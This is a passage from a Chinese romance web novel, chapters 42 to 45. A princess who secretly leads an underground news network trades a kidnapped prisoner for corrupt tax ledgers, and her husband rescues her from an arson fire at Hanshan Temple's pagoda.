苏甄儿翻了一个身,她睡熟了,忘记了自己身下的是软榻。 陆麟城眼疾手快的将人抱住,然后起身,直接把人放到了床褥里。 刚刚安顿好,那边便传来敲门声。 “王爷。” 晨曦初显,天际昏暗,十三的声音带着一股阴湿寒意,“蹲守在牢房那边的暗卫说,孔礼河利用职务之便,用一个死囚将施品安换了出来,准备在今日晚间趁着端午日人多车杂的时候,将人送出去。” “嗯。”陆麟城淡淡应一声,“晚间带上人,跟我在城外候着,把人截下来。” “是。” 十三躬身褪去。 陆麟城替苏甄儿掖好被角,起身洗漱,去往院中练剑。 苏甄儿睁开眼,伸手抚了抚被角- 今天是端午日,府中上下忙碌非常。 苏甄儿听说姑苏内有一个戏班子极其有名,一月只演一场戏,正好是在今日,便牵着陆麟城的手要去看戏。 “今日有事……” “可是一年也只有一次端午日。”苏甄儿委屈。 她勾着陆麟城的指尖,轻轻晃了晃,“你陪我去嘛。” 她仰头看他,双眸湿漉漉的泛着水渍,撒娇意味明显。 在女人的水眸注视下,陆麟城想了想,其实今日之事也没有很重要……想罢,陆麟城吩咐十三全权处理今日晚上的事。 “快走,相公,要赶不上了。” 苏甄儿火急火燎拉着陆麟城出门。 也不知道是谁花了两个时辰梳妆打扮,拖延到现在。 姑苏城内最有名的勾栏院内,座无虚席。 苏甄儿和陆麟城到了地方,正巧开场。 苏甄儿让老宅里一道跟着出来的小丫鬟取出早早准备好的点心水果,然后斟上自备的奶茶,欢欢喜喜看起戏来。 这个班子是昆曲班子,唱的是最有名的牡丹亭。 说的是官家千金杜丽娘对梦中书生柳梦梅倾心相爱,爱之入骨却不得,伤情而死,然后化作魂魄在现实中寻找到梦中爱人,人鬼相恋,最后起死回生,终于和柳梦梅永结同心的故事。 “王爷觉得如何?” 苏甄儿转头询问陆麟城对牡丹亭的看法。 男人坐在那里,正在替苏甄儿剥橘子。 他修长白皙的手指一丝一丝地撕开橘子上的白瓤,“结局不好。” “哪里不好?” 这不是大团圆结局吗? “这合该是穷书生的梦。” 其实苏甄儿也是这样想的。 这世上哪里有那么多状元才子,又哪里有穷书生能娶上官家小姐,他们根本连见都不会见到。 陆麟城垂眸,盯着手中的橘瓣。 他也怕,梦醒。 手中的橘瓣被人拿走,女人柔软的绸缎袖摆滑过肌肤,像抓不住的云- 外面热闹,里面也热闹。 那扮演杜丽娘的角儿身段纤瘦高挑,嗓音清新委婉,流利悠远,惹得众多看客纷纷抛出打赏。 苏甄儿坐在二楼,这个位置是整个勾栏院内最贵的,因此,按照规矩,会得到一些特殊照顾。 那花旦时不时朝她望过来,眼神柔媚,含羞带怯。 苏甄儿朝身侧的陆麟城看上一眼,再朝那花旦看上一眼,确定这位花旦美人瞧的是她。 苏甄儿不是个小气的主,她看至兴处,还吩咐小丫鬟取了自己的许多镯子簪子下去,往一楼戏台子上扔。 那花旦自然看到苏甄儿吩咐小丫鬟的举动,因此,在得到打赏之后,还特意朝苏甄儿的方向行了一个万福礼。 吹吹打打一个多时辰,那头戏曲结束,花旦出来答谢,虽没有卸妆,但嗓音却变了。 能听出来居然是个男子! 男旦这种角色,还真是挺稀奇的。 苏甄儿惊讶了一瞬后了然。 现在男旦虽少,但也不是没有,在金陵城的时候她也见过,而且因为这种反差,所以男旦反而比女旦更受贵女小姐们的喜欢。 苏甄儿意犹未尽,又出钱加了场次,这次唱的是穆桂英挂帅,会唱昆区的伶人一般都会唱京戏,里头还有花枪的表演。 那柄花枪被那男旦舞得飒爽至极,也将勾栏内的气氛推向更高,潮- 夜半,因为困意上来,所以实在没有办法坚持的苏甄儿才跟陆麟城一道回去了。 临走前,苏甄儿又给了一大笔赏钱。 “那男旦舞花枪的姿势真好看,虽是男子,但身段比起女子,不遑多论,听说是姑苏城内极有名的一位名角,果然名不虚传。”苏甄儿毫不吝啬的夸赞。 话罢,马车前突然响起一道小童的声音,“这位夫人,我家主人说,如果夫人有意,可上门演出。” 苏甄儿有钱,整场下来她扔得金银簪子是最多的,最后那大手笔的打赏也足够惹人心痒。 “不必。” 苏甄儿还未出声,坐在她身边的陆麟城直接道:“滚。” 陆麟城鲜少在她面前暴露出自己的坏脾气。 苏甄儿神色好奇地看向他。 男人垂眸看她,“他在自荐枕席。” 苏甄儿:…… 这种潜规则苏甄儿之前也在贵妇圈内听说过。 可她真的只是觉得那男旦演的好,才打赏那么多,根本就没有那个意思! 苏甄儿低头看一眼穿着朴素,却容貌绝美的陆麟城,方才还一直替她盏茶倒水剥橘子,也怪不得那男旦误会陆麟城是她养的人,想跟陆麟城抢位置。 “夫人,我还会剑舞,名冠姑苏。” 一道男声突然传出,甚至大胆拨开马车帘子,眼神炙热的朝车内看过来。 那是一位素装男子,看眉眼,听声音,分明就是方才的男旦,卸妆之后露出素雅堪比女子的容貌,挡在马车前,积极推销自己。 从苏甄儿出手如此大气的程度看,她一定是位不愁钱的富姐。再看其容貌身段,完全不吃亏。若能攀扯上,总比当个伶人好。表面风光,实则谁都能踩一脚。 见苏甄儿不说话,那男旦甚至还意图上马车。 没想到才刚刚抬脚,就被陆麟城给一脚踹了出去。 苏甄儿:…… 陆麟城是武将,这一脚力道不小,那男旦伏在地上,半天没爬起来。 苏甄儿有些担心男人一脚把人踹死了,正想撩开帘子看看,陆麟城突然倾身过来,“他死不了。” 车内昏暗,唯有车外灯色隐约照入。 斑驳光影之中,陆麟城一手捧住她的脸,阻止她往外看,另外一只手的指尖勾着她的腰带,语气低缓,“你想看剑舞,我给你跳。” 苏甄儿:…… 苏甄儿想象了一下陆麟城跳剑舞的样子……想象不出来。 陆麟城虽长得比那男旦好看,但他的剑可是杀人的剑。 “不必了。” 苏甄儿委婉拒绝。 陆麟城盯着她不说话。 苏甄儿眨了眨眼。 马车外,男旦终于爬起来。 陆麟城勾着她腰带的指尖一紧,苏甄儿只觉衣衫一松,外衫散开,露出里头的中衣。 陆麟城贴着她,将她压倒在柔软的垫枕上。 夜已深,挂在马车前的风灯被风吹得轻晃,车内时暗时亮。 陆麟城贴着她的耳朵,一字一句道:“夫人看不出来,我在自荐枕席吗?” 第43章 寒山寺 马车内传来动静, 男旦愣了愣,随后意识到里面正在发生的事,顿时就被气红了脸, 然后一跺脚, 不甘心的蔫蔫去了。 苏甄儿作为大家闺秀,自然还接受不了在马车上做这种事,幸好,陆麟城也没有这个意思。 两人浅尝辄止, 憋着一股劲儿。 马车急急回到苏家老宅。 房门刚一关上, 他们就一起倒在了床铺上。 陆麟城虽是武将,但在夜间之事上素来中规中矩, 张弛有度, 非常守礼。 今日也不知道是受了什么刺激,力道比之前大上许多。 苏甄儿有些受不得疼, 男人哄了她几句, 却不停。 一次、两次、三次。 平常陆麟城一次就罢了, 苏甄儿累到拽着帐子踹他。 抬脚也没什么力气, 反被握住,搭到肩上, 又来一次- 一觉睡醒,天色大亮, 苏甄儿累到不行。 她唤人进来伺候,洗漱完毕走出屋子,管家已经备好午膳。 她居然一觉睡到了晌午。 腰酸背痛,好像被人揍了一顿似得。 陆麟城好像已经起身很久, 他刚刚练完武,身上汗湿, 一夜未眠,却浑身精神气十足。 反观苏甄儿,跟蔫了的茄子似的,正巧今日她还穿了一身紫。 苏甄儿:…… 陆麟城朝她走来。 苏甄儿斜睨他一眼。 “抱歉,昨夜……嘶……” 苏甄儿伸出两根手指,用一点指甲尖拧着陆麟城的一点皮肉,使劲一扭。 男人疼得倒抽一口冷气。 苏甄儿心情舒爽多了,转身去用午膳。 在院子门口守了许久的十三终于逮到机会来报,“王爷,施品安被人截胡了。” 苏甄儿正坐在陆麟城身边数米粒,听到此话,露出惊讶不已的夸张表情,“施品安?那个杀了歌楼舞女的杀人犯?他跑了吗?” “嗯。”陆麟城点头,表情波澜不惊,对于十三带来的这个消息没有太大的反应。 当然,男人本身也不是那种情绪外露的人。 在苏甄儿好奇的注视下,陆麟城将施昌和孔礼河用死囚调换施品安的谋划跟她详细说了一遍。 苏甄儿吓得直摇头,“这些人真是太可怕了,简直目无王法。”话罢,她唤来管家道:“明日请彩云阁的绣娘上门,我要做一身,不,三身衣服压压惊。”- 翌日,苏甄儿刚起,管家便在门外道:“王妃,彩云阁的绣娘上门了。” 苏甄儿洗漱完毕,让彩云阁的绣娘进来了。 绣娘手中提着一个竹篮子,里面置着软尺、布料、针线等物。 今日绣娘来给苏甄儿量身。 “王妃,您猜的没错,施家果然还有后手。我们趁着施品安下马车方便的时候,将人掳走了,安置在暗桩内。”假扮成绣娘的华潇一边说话,一边给苏甄儿量腰身。 顿了顿,华潇又道:“当时我们还发现有另外一批人也在跟着施品安,好像是北辰王的人。” 提到陆麟城,苏甄儿就心虚。 若非是她听到了陆麟城跟十三的谈话,也不会知道施昌和孔礼河的胆子这么大准备换囚,也就不会想到让华潇带着人在城内直接将人截胡。 当然,这种内部偷听的事是不能跟华潇说的。因此,华潇到现在都还以为是她神机妙算堪比诸葛亮在世。 苏甄儿的目的是要用施品安找施昌换私税的账目和那些被施家扣下的芙蓉馆的人。 昨日,她确实有意拖住陆麟城。 可她并没有想用那种方法啊!虽然确实奏效了,但她可累惨了。 不过从昨日来看,难道从前男人都在忍着? “信已经给施家送过去了,施昌回信说要跟馆主在城外的寒山寺内碰头。” “嗯。”苏甄儿点头。 “馆主,还是让我一个人去吧。”华潇担心苏甄儿的安危。 “你看不懂账目。” 华潇:…… “我可以带回来给您……” “浪费时间,你以为陆麟城的鬼面军是吃素的吗?” 华潇无言以对。 他们半路截胡施品安已经将姑苏城内的势力全部用上了。 此举肯定已经引起北辰王的注意,被找到是迟早的事。 现在他们最重要的就是时间。 苏甄儿只要在被找到之前,从施昌手中救出人并拿到账目,就能用这些私账来跟陆麟城做交易,让他放弃对付芙蓉馆。 至于那个施品安,她将他交还给施昌,正好坐实了施昌勾结孔礼河调换死囚的罪名,想必陆麟城等的就是这一刻,不然为何会故意放人,随后让十三去截胡。 施品安是注定跑不掉的- 端午活动会持续好几日,距离跟施昌约定的时间越来越近,苏甄儿略显得有些焦虑。 院中洒扫的小丫鬟闷着头,发出窸窸窣窣的抽噎声。 “怎么了?”苏甄儿听到声响,抬眸看她。 小丫鬟受到惊吓,迟疑片刻后突然下定了什么决心般,拿着大扫把跪在地上,呜咽着朝苏甄儿磕头,“王妃,王妃大慈大悲,请王妃救救我妹妹,救救我娘亲。” 老宅人手不够,为了照料北辰王妃,老管家亲自去外头挑了几个年幼的小丫鬟回来处理宅内杂事。 这就是其中一个小丫鬟。 苏甄儿不是个喜欢管麻烦事的人。 正巧老管家过来,看到跪在地上哭得抽噎的小丫鬟,赶紧上前呵斥,然后又恐苏甄儿怪罪,赶忙解释道:“她爹和兄长曾经跟着公爷一道去过战场,没回来,屋子里头只剩下寡母,染了病又看不起,躺在床上起不来了,她还有一个妹妹,被人牙子带走了……” 老管家看这小丫头可怜,又觉得这小丫头的老爹跟过公爷,便带她进府给她要了一份差事。 苏甄儿听到此话,神色恍惚了一下,呢喃自语,“你的父兄也死了吗……”话罢,她回神,询问管家,“朝廷不是有发放抚恤金?” 管家欲言又止。 小丫鬟立刻摇头,“没,没见到,也从来没有听说过这种事。” 苏甄儿皱眉,“你说的是真的?” 小丫鬟点头,“真的没有,小姐。” 苏甄儿眸色变暗,整个人神情也跟着阴郁起来。 “备车。”- 小丫头的母亲住在城外的破庙里,这里不用支付地租。 小小的破庙内挤了很多人,这些人衣衫褴褛,蓬头垢面,瘦骨嶙峋。好在天气逐渐暖和起来,他们能在山上挖到野菜,也不至于在夜间被冻死。 “这些是什么人?” “有乞儿,也有每日工作却交不起地租住在这里的年迈农民。他们病了,又看不起医士,只能在这里像这样活着。他们的父亲、丈夫、儿子……都死在了那场乱战里。” 苏甄儿坐在马车内,她并未下车,而是隔着帘子朝里望。 四面透风的破庙,一眼就能望穿。 那小丫头正在将她母亲扶起来吃药。 老管家看着,忍不住抹了一把眼泪,“她的月钱都给她母亲买药了。” 苏甄儿道:“她妹妹是自愿跟人牙子走的?” 老管家点头,“不管是卖给谁,起码有条活路。” 当年母亲救助流民之时,诸多事务都是老管家负责处理,苏甄儿从那个时候起便觉得这位老管家是个软心肠的,如今看来,他倒是一点都没变。 小丫头给母亲喂完了药,起身跑出来。 风吹起她身上单薄的衣物。 豆蔻年华的小少女,瘦得豌豆一样,连发丝都透着营养不良的干枯。 她站在马车窗子前,看着平静奢华帘子后浅浅印出的女人身影。 “王妃,我们到底做错了什么,要活成这样?我们并没有伤害过别人,我们不偷不抢,干干净净,清清白白的活着。三年乱战,我的父兄死了,现在太平了,我的母亲却也要死了,我到底要怎么活着。我们的声音,谁能听见呢?” 马车内久久无言,直到管家下车将满脸泪痕的小丫头扶了进去。 “安平则用其力,有难则用其死。” 苏甄儿望着空荡荡的马车,呢喃出声。 谁又不是苦命人呢。 谁又不是失去了最珍贵之人呢。 管家回来了,低着头没有吭声,年迈的面容上显出深如沟壑般的皱纹,像历尽沧桑的树皮,浸满了岁月的痕迹。 “吴伯,从前母亲每逢佳节,便会施粥,如今这事依旧由你来负责,再找几个医士,开设益诊,药材诊费,一律开销,都由苏府负责。” 老管家吴伯连忙点头,“是,王妃。”- 从破庙回到老宅之后,苏甄儿的心情一直不大好。 她吃了一碟子糕点,甜腻腻的糕点入口,也没有缓解她的焦虑和压抑,反而将她撑得想吐。 陆麟城回来了,他身上穿着便衣,后背汗湿,显然是在外奔波了一日。 “怎么样,找到施品安了吗?”苏甄儿站起来询问。 她抽出帕子,先替陆麟城擦了汗,然后又用另外一只手摇着檀香小扇给他扇风。 “没有。”陆麟城摇头。 苏甄儿下意识松了一口气。 “不过。”陆麟城话锋一转。 苏甄儿的心又跟着提了起来。 “知道是谁做的了。” “谁呀?” “芙蓉馆。” 苏甄儿摇着扇子的手一顿,她笑了笑,继续摇着小扇,转移话题,“听说王爷曾经在京口住了很长一段时间,你在京口的时候都要做些什么?” 说着话,苏甄儿给陆麟城倒了一盏茶。 陆麟城仔细想了想那些放在自己案上的案卷。 “找小猫小狗。” 苏甄儿:? “抓捕一些流窜骚扰民众的二流子。” 苏甄儿:?? “还有一些吃饭不给钱的……” 苏甄儿:??? “等一下。”苏甄儿开口阻止陆麟城,“王爷之前是声名赫赫的流民帅。” 陆麟城点头,“嗯。” 苏甄儿:“……每日里就做这些事?” “这些事也不是我做的,是十三带着人做的。”顿了顿,陆麟城又道:“京口治安良好,百姓赋税很轻。十三他们很喜欢京口,我也喜欢。” “那王爷为什么会去金陵?” 男人的视线落到苏甄儿脸上,他没有说话,闷头将茶水喝了,“我去沐浴。” 苏甄儿还没有聊完,她下意识跟着陆麟城走到屏风后面,男人正在解腰带。 腰带落地,露出浸着薄汗的身体。 此处阳光颇好,苏甄儿看到他身上纵横交错的伤口,每一道伤口,都是一次生死线上的挣扎。尤其是那道凝结在心口处的旧疤痕,看起来最为狰狞可怖。 突然,她鼻头一热。 苏甄儿抬眸,才意识到自己刚才看着陆麟城的身体发呆了。 陆麟城收回刮了刮她鼻尖的手,“不白来,给看。” 第44章 说一声 与施昌约定的时间到了。 苏甄儿说要给陆麟城祈福, 一大早就动身去了寺庙。 她穿着新制的春装,头戴帷帽,坐在马车内, 一路行到城外寒山寺前。 望着前方的寺庙, 不知为何又想到从前的事。 三年战乱,她与母亲就是在这间寺庙内与僧人一同施粥救助流民的。 寺庙内地方不够住了,母亲拿出自己的私房钱建造帐篷,冬日严寒, 又买了许多棉衣棉被, 以供流民们使用。 她记得其中有个少年,似乎是想寻死, 不吃不喝, 将那条被她捡回来的命随意对待。 彼时前方战事吃紧,频频传来坏消息。 苏甄儿心情抑郁, 恰好将火发泄在了他身上。 那少年说无辜也无辜。 他又没有让她救他。 人该有自己选择死亡的权利。 后来那少年悄无声息的消失不见, 现在想来, 全部的一切都是她自作多情。 前面是枫桥, 苏甄儿下了马车,穿过门楼和枫桥, 趁着晨间人少,带着华潇入了寺庙。 寺庙很大, 战乱过后又添了几座殿和塔,扩充了地盘,僧人都多了近乎一倍。 苏甄儿先去上了香,给僧人添了香油钱, 然后才往寺庙后面去。 施昌跟她约在寒山寺内的普明塔院。 今日的普明塔院禁止旁人出入,直到苏甄儿取出自己的芙蓉玉佩, 那守在塔院门口的仆人道:“是芙蓉馆主吗?我家主人在塔内等您。” 普明宝塔在塔院偏北之地,堂前池水环绕,水上凌空架有一座露台,露台有桥,与宝塔相通。 塔院四周回廊环绕,回廊内壁布满碑刻,行走其上,苏甄儿的表情也变得虔诚不少。 从前的她是不信佛的,直到母亲病危,她一人在佛像前跪了一天一夜,才恍惚明白,佛在人心中意味着什么。 那是一种,绝境之下的心理寄托。 普明宝塔一共五层,苏甄儿抬手整理了一下帷帽,然后带着华潇走进去。 初入宝塔,便见施昌面色惨白地坐在那里等着她。 “你就是芙蓉馆馆主?”施昌一下坐起来,“我儿呢?” 华潇会些拳脚,她挡在苏甄儿面前。 苏甄儿抬手扔出一枚玉佩,那是施品安的。 施昌捡起地上的玉佩,拿在手里摩挲了片刻,看向苏甄儿的视线带着怨恨,“你要的账目在第五层,你要的人在第二层。” 苏甄儿点头,提裙走上二楼,芙蓉馆的几个人被绑在一处,挤挤挨挨地靠墙缩着。 这是他们第一次看到传说中的馆主。 如此纤细单薄的一个人,戴着厚重的帷帽,看不到脸。 “我儿呢?我儿呢!”施昌在下面喊叫,一路跟了上来。 “别急,我还没看到账目。” 半旧的宝塔,带着淡淡的尘埃味道。 有阳光从外面照射入内,将漂浮在空气中的尘埃完全暴露出来。 苏甄儿体弱,她走得慢,喘了会气,她终于来到宝塔第五层。 这里很空旷,只有三个半人高的香樟木箱子,上面上锁了。 “钥匙。” 苏甄儿朝施昌伸手。 同样爬楼困难户的施昌艰难跟在苏甄儿身后上来了,他将钥匙交给华潇,华潇送到苏甄儿手中。 苏甄儿用施昌给的钥匙打开其中一个。 灰尘漫天,苏甄儿抬手摆了摆,然后低头从里面取出一本账目细看。 没错,是苏州的私税账目。 胃口真大啊。 苏甄儿真是被气笑了。 她知道施家和孔礼河把持着苏州经济,却没想到他们胆子这么大,朝廷发下来的政策福利,他们全部贪污,大半个姑苏城的地皮、庄子、商铺都是他们的。 为了应付朝廷的税款征收,他们将这些商铺庄子将税款分摊到百姓身上,还私自加了许多莫名其妙的税目,甚至一个税目要收三四次的钱。 而这大概还只是冰山一角,因为这里的账目有整整三口大箱子。 “我儿呢!人给你了,账目也给你了!” “华潇,把我们的人带回去治伤,然后带他去找施品安,最后差人过来,把这些账目搬走。” 苏甄儿一本一本地翻看,甚至还挖到了一本贪污朝廷赈灾款项的账本,细致到包括朝廷今年才发放下来的战后抚恤金。 苏甄儿真是要被气笑了。 这些人,真是雁过拔毛,兽走留皮。 苏甄儿被气得看到忘了时辰,直到夜间,看到不远处烟花绽放,才恍惚发觉天色已暗。 只是华潇怎么还没有回来? 苏甄儿蹙眉,起身之时双腿有些发麻,她保持一个姿势太久了。 苏甄儿伸手揉了揉腿。 芙蓉馆已经暴露在陆麟城面前,为了保住芙蓉馆,她的筹码就是这些账目。 苏甄儿提裙准备下塔之时,突然感觉不对劲。 她趴在五楼往下看。 一楼突然起火了,正往上面蔓延。 她迅速往下跑。 滚滚浓烟从塔下喷涌而出,热度贴着每一寸肌肤,呛得人根本无法呼吸,让人寸步难行。 苏甄儿还想往下去,到二楼的时候侧边横梁突然断裂,压断了楼梯,也砸伤了她的腿。 更加浓烈的烟雾涌过来,苏甄儿忍着剧痛单脚双手爬回去- 宝塔四面环水,唯有中间一条小道能走人。 有人跌跌撞撞冲入小道之上,然后被赶来的鬼面军按住。 鬼面军内,华潇和施昌以及施品安都被绑住了。 直到被抓住,华潇才知道这位北辰王早就盯上他们了。 螳螂捕蝉,黄雀在后,施品安从一开始就是一个饵。 不仅引出施昌和孔礼河,还把芙蓉馆也引了出来。 关押施品安的暗桩早就被鬼面军控制,他们一出现,就被一网打尽。 现在,顺着施昌的口供,北辰王找到了寒山寺的普明宝塔,里面藏着私税账目。 如今,到了收网的时候,只是没想到,宝塔突然起火,这些私账怕是留不住了。没有私账这份证据,孔礼河和施昌的所作所为,将永远无人所知。 十三压着那纵火之人,“谁让你烧的?” “是,是施大人,说等三个时辰,待他救了公子,就放火……放火烧死那个芙蓉馆的馆主……” 华潇瞪大了眼,她抬头看向被火光吞噬了一小半的塔,心里祈祷馆主不在里面。 陆麟城骑着珍珠站在最前面,抬眸朝塔上看来。 黑乎乎一片,一楼的火光急速蔓延到二楼,里面狼藉一片,根本无法进入,眼看就烧到三楼了。 “救火。” 陆麟城身后的鬼面军立刻行动起来。 其余僧人看到这里的火势,也跟着过来帮忙。 四面环水的好处在此刻透出来,可火势太猛太大,一看就是有意纵火,火油的味道伴随着木材的浓焦味迅速蔓延,苏甄儿双手死死抓着栏杆, 现在她已经来不及想这纵火之人到底是谁,她只知道,自己恐怕是要没命了。 她的心里突然涌起一股冲动,或许,她可以向陆麟城求救。 可他会救她吗? 不可能的,苏甄儿,半年夫妻罢了,你还指望他舍命相救吗? 苏甄儿深吸一口气,目光落到前面的三个樟木箱子上。 华潇不确定自家馆主在不在里面,她咬着唇,不敢出声。 突然,华潇看到一本又一本账目从五楼被抛了下来。 苏甄儿想,就算她死了也要拉个垫背的。 孔礼河这狗东西,她一定不能让他活! 血债血偿,李挚的命她一定要孔礼河拿自己的命来偿。 还有那些士兵的债。 苏甄儿冷不丁想到满身旧伤的陆麟城。 破庙里的少女。 永眠于战场的父兄。 他们保卫的就是这些狗东西吗? “什么东西?”陆麟城拧眉。 十三从空中接下一本送到陆麟城面前。 陆麟城抬手打开,是账本。 这些都是私税的账目。 有人在上面扔账本。 “上面有人。”十三道。 虽然火势蔓延,但五楼也有约四十多米的高度,再加上天色昏暗,所以实在看不清脸。 苏甄儿也不知道自己扔了多少,她的腿站不起来,只能跪爬着往前去拿木箱里的账本。 力气在加速流失,挂在栏杆上随手甩下去的时候身子跟着一斜,差点一起跌下去,幸好,她抓住了栏杆,左臂撞到木料,有什么东西掉了下去。 账本在空中飞舞,火星乱窜,火光四射,似有什么莹莹粉色跟着账本一起从五楼掉下来。 陆麟城瞳孔微动,下意识驱马上前,伸手接住。 是一串粉珍珠百索。 同一时刻,在他身后的华潇泪眼婆娑的大喊,“我们馆主是北辰王妃!那上面……是我们馆主……” 陆麟城的脑子嗡一声,像是被什么东西刺穿了一样。 他面色发白,迅速下马,被十三拦住。 “王爷,进不去了,火势太大,二楼的侧梁倒了,压垮了楼梯……” 五楼的账目还在往下扔,可数量越来越少,显示上面的人已经体力不支。 陆麟城一把挥开十三,抬手抢过一个僧人手中的木桶,冷水浇透身体,然后吹了一声口哨。 珍珠飞奔而来,陆麟城踩着珍珠跃起,挂上宝塔最外围的翼角。 火在里面烧,外面的翼角被水浇过,湿漉漉的带着滚烫的温度,陆麟城的手掌离开之时,能清楚的看到上面蔓延的新鲜血迹。 他感觉到自己急促的呼吸声,当听到上面的人是谁时,那股濒死感侵袭过来,几乎将他击溃。 烈火的热度透过肌肤深入骨髓,陆麟城一路攀岩,身体挂在脆弱的翼角上,他身侧的铜铃突然断裂往下坠去,发出巨大的响声。 翼角断了一半,他的一只手攀空,只剩下左手挂在那里,双脚没有支撑,摇摇欲坠。 在火光的照耀下,陆麟城仰头,看到了左臂上戴着的丑百索。 他突然笑了一声,然后吃力地拉紧左臂,猛地往上一扑。 到了四楼,他踩着瓦片,面前是喷涌而出的黑雾,熏得眼鼻都难睁开。 苏甄儿没什么力气了。 腿上的伤好疼,连爬都爬不起来了。 看着还剩下两箱的账目,她突然就很生气,又很无力。 好累。 好烫。 被烧死的话,应该会很难看吧。 她苏甄儿美了这么多年,怎么死的这么丑。 “甄甄。” 一道声音突然响起,苏甄儿觉得自己幻听了。 临死前她听到的不是她母亲,也不是她父兄,而是陆麟城的声音。 五楼黑雾弥漫,苏甄儿咳嗽不停。 她俯身趴在栏杆处努力呼吸新鲜空气,低头之时,对上四楼塔檐男人朝上望过来的视线。 他很狼狈。 脸上沾着黑灰,束发散乱,身上的衣物有被火燎过的痕迹。 男人踩着塔檐,然后纵身一跃,攀住翼角,再利用双臂的力量,支撑起身体,爬上第五层塔檐。 不是幻听,也不是幻象,男人真真切切出现在了她面前。 苏甄儿攥着手里的账本,脸上满是不可置信。 “账本……你是来找账……”她张口,因为太过惊讶,所以连一句完整的话也说不出来。 陆麟城踩着瓦片上前,翻过栏杆,身上带着火烧的焦味。 他蹲在苏甄儿脚边,没有废话,“上来。” 男人沙哑的嗓音带着急切,下一刻,苏甄儿已经扑到他背上。 陆麟城抽出腰带,将她整个人紧紧绑在自己身上。 苏甄儿扶趴在陆麟城身上,双手环住他的脖子,两人肌肤滚烫,似要融化在一起。 “你是来找账本的吗?”苏甄儿终于缓过神来,她的声音很轻。 “不是。” 陆麟城话罢,感觉有泪顺着他的脖颈往下流,滚烫的,比火还烫。 女人圈在他脖子上的手收紧,他听到了她呜咽的哭声。 “我腿好疼……我好害怕……” 男人血肉模糊的手勒紧腰带,“我不会松开你的。”- 身体急速下坠,苏甄儿不敢睁开眼。 她将自己的身体和性命都交给了陆麟城。 风声、焦味、血腥气,还有狂跳不止的心脏。 落地那一瞬间,她听到周围传来压低的惊呼声,像是屏息许久之后,终于爆发出来的惊叹。 陆麟城的体力已经接近极限,他跪在地上,慢慢解开腰带。 苏甄儿滑落在地,仰头对上他沾着黑灰的脸。 她的眼泪完全停不下来,这也导致她几乎看不清陆麟城的脸。 她攥着他的衣摆,力竭之下,倒头晕厥- 苏甄儿醒过来的时候已经回到苏家老宅。 “陆麟城……咳咳咳……” 身侧落下的帐子被人撩开,手上拖着白色绑带的男人坐到她床边,“醒了?” 医士跟在陆麟城身后,看着那拖了一路的白色绑带,“王爷,您的伤还没处理好呢。” 苏甄儿从睡梦中惊醒,她神色惶然的对上陆麟城的视线。 她还没从那场火灾里回过神来,直到左腿上传来的剧痛,拉回了她的神智。 苏甄儿低头,看到自己搭在被褥上的腿。 “刚刚包扎好,别乱动,小心伤口。”陆麟城抬手压住她的腿,却不小心碰到自己的伤口,疼得面色一白。 苏甄儿赶紧捧住他的胳膊,“你没事吧?”她握住陆麟城的胳膊,看到他被绷带半包裹住的血肉模糊的手掌。 “没事,小伤。”陆麟城抽开手,示意医士继续包扎。 苏甄儿坐在那里,盯着他的手掌看。 陆麟城背着她,从宝塔往下攀,那层层滚烫粗糙的瓦片,磨得皮肉鲜血淋漓。 “很疼吧。”苏甄儿说着话,突然就哽咽了。 她红着眼眶,眼泪瞬间蓄满,珍珠似得往下淌。 “本来不疼。”陆麟城想伸手替她抚去脸上泪珠,却发现自己双手都是挑开的水泡,抹了药膏,绑了绷带,药膏从绷带里渗出来,带着难闻的气息。 很脏。 他倾身过去,唇尖点了点她的面颊,舔掉一点眼泪。 “你一哭就疼了。” 医士眼观鼻,鼻观心,裹好后赶紧提着药箱跑了。 闺房内只剩下两个伤病员。 苏甄儿吸了吸鼻子,侧身让出一半。 陆麟城上来之后,躺在她身边。 屋内安静下来,只剩下药膏的味道。 “你应该已经知道我是芙蓉馆的馆主了。” “嗯。” 苏甄儿敛下眼睫,视线望向头顶帐子上的芙蓉绣花纹。 “初时只是因为想知道前线的事情,想知道父兄平安。后来发现,战乱之时情报闭塞,百姓不知何往,流离失所,便着手扩大了范围,让百姓也能知道战况,提前准备,或迁徙,或备食物和水,隐匿起来,活下来。 然后越来越多的人加入进来,战乱平息之后,不知道怎么,慢慢的就发展成了现在的样子。 小报影响力巨大,从前我不知它的威力,也不知如何使用它,现在我明白了,刀能杀人,笔也能救人。 官报不说的事芙蓉馆说,官报不提的事芙蓉馆提。真相不该被掩埋,弱者的声音不该被吞没。” “芙蓉馆虽势微,但我们始终相信,以一灯传诸灯,终至万灯皆明。” 说到这里,苏甄儿停顿了一会,“所以,芙蓉馆那些被你抓住的人……”她提着一颗心,小心询问。 “你说一声就好,我让十三去放人。”陆麟城没有犹豫。 “啊?”苏甄儿愣了,她没想到这么简单,“那陛下那边你怎么交代?” “堵不如疏,民之口如川河水,就算没有芙蓉馆,也会有牡丹馆,梨花馆,海棠馆。这天下不能只有一家之言,兼听则明,偏听则暗。” 身边静默一会,传来女子的声音,蔫蔫的,软软的,带着鼻音,“……你取的名字都好难听。” 陆麟城想了想,“……芙蓉馆其实……” 苏甄儿红着眼看他一眼。 陆麟城低声笑了笑,“很好听。”顿了顿,他又道:“我懂的。” “芙蓉是晚秋之花,万物凋零,唯它独盛。” 就像在乱世之中,撑起一方天地,为民众提供避难所,在那荒芜之地上,盛开的花。 第45章 红樱桃 因为陆麟城的双手都受伤了, 所以很多事情都不能做。 苏甄儿虽然脚受伤了,但双手却是完好的。 天气回暖,她坐着轮椅在院子里替陆麟城修剪被火烧焦的头发。 男人的头发平日里都是束起来的, 放下来的时候她才发现, 长发有些天然卷曲,质感也很好,不是柔软的细腻,而是略显粗粝的厚重。 将长发拨到一处, 苏甄儿歪头的时候还看到陆麟城耳朵上居然有耳洞, 不过因为长久没有穿戴耳环,所以已经长满了, 只能隐约看到有一点穿过耳洞的痕迹。 再仔细看他的脸部轮廓, 阳光下,肌肤更显冷白, 眼睫狭长, 眼窝的部分也比正常人更深邃些。 眼睛……阳光下, 男人的眼睛一闪而过冷萃的绿。 苏甄儿眨了眨眼, 再看,男人眼眸深谙, 黑若深潭,方才那一瞥像是阳光的折射。 看花眼了吧。 苏甄儿将注意力又放回到陆麟城的耳洞上。 “你以前打过耳洞吗?” 大周的男子都没有打耳洞的习惯, 在大周只有女子会打耳洞。 “……嗯。”男人停顿一会,缓慢点了点头。 “我知道了,”苏甄儿恍然大悟,“我听说过有些人家, 如果男孩生出来体弱,便替他打个耳洞, 当女孩养,能多活些时候,对不对?” “大概,或许,是吧。”陆麟城眼神游移,然后突然感觉耳垂一热。 苏甄儿两根手指捏着他的耳垂,轻轻揉了揉,试图探查他的耳洞还能不能复原。 